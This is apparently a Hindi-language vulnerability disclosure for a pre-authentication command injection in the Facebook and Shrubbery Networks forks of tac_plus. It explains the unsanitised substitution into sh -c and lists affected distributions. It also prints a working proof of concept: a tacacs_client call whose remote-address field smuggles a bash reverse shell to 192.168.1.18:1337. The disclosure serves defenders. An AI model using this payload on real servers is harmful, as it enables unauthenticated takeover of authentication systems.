
tac_plus पूर्व-प्रमाणीकरण रिमोट कमांड निष्पादन भेद्यता (CVE-2023-45239 और CVE-2023-48643)
इस रिपॉजिटरी में tac_plus के विभिन्न ओपन-सोर्स कार्यान्वयनों में एक प्री-ऑथ रिमोट कमांड निष्पादन भेद्यता के बारे में जानकारी है। निम्नलिखित दो फोर्क प्रभावित हैं:
हालाँकि, दोनों फोर्क TACACS+ के लिए एक Cisco डेव किट पर आधारित हैं जिसे 16 साल से अधिक पहले ओपन-सोर्स किया गया था। यह भेद्यता डेव किट में पहले से मौजूद थी और दोनों प्रोजेक्ट्स में फोर्क कर दी गई थी। यह ध्यान दिया जाना चाहिए कि यह शोध केवल ऊपर उल्लिखित दो फोर्क पर केंद्रित था, अतिरिक्त फोर्क भी प्रभावित हो सकते हैं।
निम्नलिखित ग्राफ फोर्क के बीच संबंध दिखाता है, सभी प्रभावित हैं:
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
Cisco के डेव किट का कोई आधिकारिक स्रोत नहीं मिला है और अब इसे बनाए नहीं रखा गया है।
निम्नलिखित उदाहरण facebook/tac_plus रिपॉजिटरी में कोड को संदर्भित करता है क्योंकि यह GitHub पर उपलब्ध है (Cisco डेव किट और Shrubbery Networks फोर्क केवल टारबॉल हैं)। हालाँकि, प्रभावित कोड सभी प्रोजेक्ट्स में समान है।
जब कोई पैकेट आता है, तो आने वाले पैकेट के प्रकार (प्रमाणीकरण, प्राधिकरण, या लेखांकन) को निर्धारित करने के लिए start_session() फ़ंक्शन को कॉल किया जाएगा। हम प्राधिकरण पैकेटों पर ध्यान केंद्रित करते हैं जिन्हें author() → do_author() द्वारा नियंत्रित किया जाता है, जो फिर pre_authorization() को कॉल करता है। यह फ़ंक्शन जाँचता है कि TACACAS+ पैकेट में उपयोगकर्ता नाम के लिए प्राधिकरण से पहले कमांड कॉन्फ़िगर है या नहीं और इसे call_pre_process() के माध्यम से निष्पादित करता है। निम्नलिखित कॉन्फ़िगरेशन फ़ाइल (tac_plus.conf) एक उपयोगकर्ता को दिखाती है जिसमें प्राधिकरण से पहले कमांड कॉन्फ़िगर है:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
यह फ़ंक्शन प्राधिकरण से पहले में कॉन्फ़िगर किए गए कमांड को लेता है और आने वाले TACACAS+ पैकेट से मानों के साथ चर (जैसे $user, $name, या $address) को प्रतिस्थापित करता है। हालाँकि, यह बिना किसी इनपुट सत्यापन या स्वच्छता (sanitization) के किया जाता है।
परिणामी कमांड स्ट्रिंग को फिर my_popen() को पास किया जाएगा, जो निम्नलिखित execl() कॉल में कमांड स्ट्रिंग को निष्पादित करता है:
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
यह TACACS+ पैकेटों में रिमोट एड्रेस फ़ील्ड के माध्यम से अतिरिक्त कमांड इंजेक्ट करने की अनुमति देता है (RFC8907 में rem_addr, rem_addr_len देखें)। यही संभावित रूप से अन्य इनपुट फ़ील्ड के लिए भी काम कर सकता है।
यह ध्यान दिया जाना चाहिए कि भेद्यता प्रमाणीकरण प्रक्रिया के दौरान ट्रिगर होती है। इसलिए, किसी पासवर्ड की आवश्यकता नहीं है, केवल एक उपयोगकर्ता नाम जो कॉन्फ़िगरेशन में मौजूद है!
इस कॉन्फ़िग के साथ tac_plus को संकलित और चलाने का विवरण निम्नलिखित अनुभागों में दिया गया है:
निम्नलिखित कमांड लक्षित डेमॉन पर उपयोगकर्ता DEFAULT के साथ tacacs_client चलाता है। भेद्यता को ट्रिगर करने वाला पेलोड रिमोट एड्रेस फ़ील्ड में है, जो --rem-addr कमांड लाइन तर्क के माध्यम से सेट किया गया है:
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
इसे निष्पादित करने से 192.168.1.18:1337 पर एक रिवर्स शेल कनेक्शन प्राप्त होगा। उपयोगकर्ता नाम उन उपयोगकर्ताओं में से एक होना चाहिए जिनके लिए tac_plus.cfg में प्राधिकरण से पहले या प्राधिकरण के बाद निर्देश कॉन्फ़िगर किया गया है। अंतिम कमांड सूची (-c service=exec) आवश्यक कोड पथ तक पहुँचने के लिए आवश्यक है, लेकिन मान मायने नहीं रखता।
क्लाइंट द्वारा भेजा गया TACACS+ पैकेट Wireshark में निम्नलिखित स्क्रीनशॉट में दिखाया गया है:

निम्नलिखित स्क्रीनशॉट इंजेक्टेड कमांड निष्पादित होने से ठीक पहले एक डिबग सत्र दिखाता है:

विभिन्न Linux वितरण अपने आधिकारिक पैकेजों में दो प्रभावित फोर्क में से एक का उपयोग करते हैं (अधिकतर Shrubbery Networks फोर्क)। निम्नलिखित तालिकाएँ Linux वितरणों और BSD डेरिवेटिव्स को दिखाती हैं जो इस लेखन के समय या तो Shrubbery Networks या Facebook फोर्क का उपयोग करते हैं। यह सूची पूर्ण नहीं है, अन्य वितरण/डेरिवेटिव भी प्रभावित होने की संभावना है।
| वितरण | पैकेज | फोर्क |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| डेरिवेटिव | पोर्ट | फोर्क |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
इस समस्या को पुन: उत्पन्न करने के उदाहरण निम्नलिखित अनुभागों में उपलब्ध हैं: